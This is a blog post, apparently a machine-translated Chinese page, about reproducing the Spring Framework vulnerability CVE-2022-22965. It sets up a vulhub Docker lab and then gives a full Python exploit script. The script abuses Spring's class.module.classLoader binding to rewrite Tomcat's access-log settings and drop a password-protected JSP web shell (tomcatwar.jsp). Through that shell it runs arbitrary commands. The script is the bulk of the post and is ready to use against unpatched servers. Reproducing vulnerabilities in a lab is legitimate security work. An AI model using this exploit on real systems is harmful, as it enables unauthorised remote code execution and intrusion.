当前位置:网站首页>Cve-2022-22965 reappearance
Cve-2022-22965 reappearance
2022-06-22 14:01:00 【lionwerson】
CVE-2022-22965 Reappear
brief introduction :
stay jdk 9+ Running on Spring MVC or Spring WebFlux application May lead to RCE
Recurrence environment :
docker run -d -p 8080:8080 vulhub/spring-webmvc:5.3.17
After the service starts , visit http://your-ip:8080/?name=xxx&age=xxx
You can see a demo page .

poc:
Usage method :-t Enter the destination address ,-c Enter the execution command , The default is id
import argparse
import requests
headers = {
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'suffix': '%>//',
'c1': 'Runtime',
'c2': '<%',
'DNT': '1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
headers_res = {
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t',"--target",help='input target',required=True,type=str)
parser.add_argument('-c',"--command",help='input poc command',type=str,default='id')
args = parser.parse_args()
url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
cmd_url = args.target + "/tomcatwar.jsp?pwd=j&cmd=" + args.command
refresh_url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern="
res = requests.get(url=url, headers=headers)
try:
if res.status_code == 200:
res_cmd = requests.get(url=cmd_url, headers=headers)
print(res_cmd.text.replace("\x00",""))
ref_cmd = requests.get(url=refresh_url,headers=headers_res)
else:
print('Vulnerability does not exist')
except Exception as e:
print(e)
边栏推荐
- Z-Score和deltf/f有什么区别?
- 如何保护WordPress网站免受网络攻击?采取安全措施至关重要
- Tianrun cloud is about to be listed: VC tycoon Tian Suning significantly reduces his holdings and is expected to cash out HK $260million
- My suggestions on SAP ABAP transformation
- Leetcode subsequence / substring problem
- Leetcode daily question 202110
- Stored procedures in MySQL
- Stop using system Currenttimemillis() takes too long to count. It's too low. Stopwatch is easy to use!
- Redis password modification, startup, view and other operations
- Neuron+eKuiper 实现工业物联网数据采集、清理与反控
猜你喜欢

openGauss内核分析之查询重写

“不敢去懷疑代碼,又不得不懷疑代碼”記一次網絡請求超時分析

Query rewriting for opengauss kernel analysis

HW is around the corner. Can't you read the danger message?

Tianrun cloud is about to be listed: VC tycoon Tian Suning significantly reduces his holdings and is expected to cash out HK $260million

Go Web 编程入门:验证器

Leetcode game 297

Leetcode math problems

leetcode-背包问题

史蒂芬·柯维写给年轻人的高效工作秘笈
随机推荐
安装和使用protobuf-c
VR panoramic shooting breaks the deadlock of traditional propaganda that wild geese pass without leaving traces
client-go gin的简单整合九-Create
Redis+Caffeine两级缓存的实现
Performance related indicators
leetcode-子序列/子串問題
20 good habits of outstanding professionals
Leetcode daily question 202110
技术实践 | 场景导向的音视频通话体验优化
Neuron+eKuiper 实现工业物联网数据采集、清理与反控
散户开户哪个证券公司好?手机开户安全么?
After several years of writing at CSDN, I published "the first book". Thank you!
MySQL如何让一个表中可以有多个自增列
HMS Core新闻行业解决方案:让技术加上人文的温度
在CSDN写文几年,我出了“第一本书“,感恩!
Instanceinforeplicator class of Eureka (service registration auxiliary class)
Performance of recommender algorithms on top-N recommendation tasks
Starting Oracle under Linux
In 5g era, how to create an amazing live VR activity?
测试组的任务职责和测试的基本概念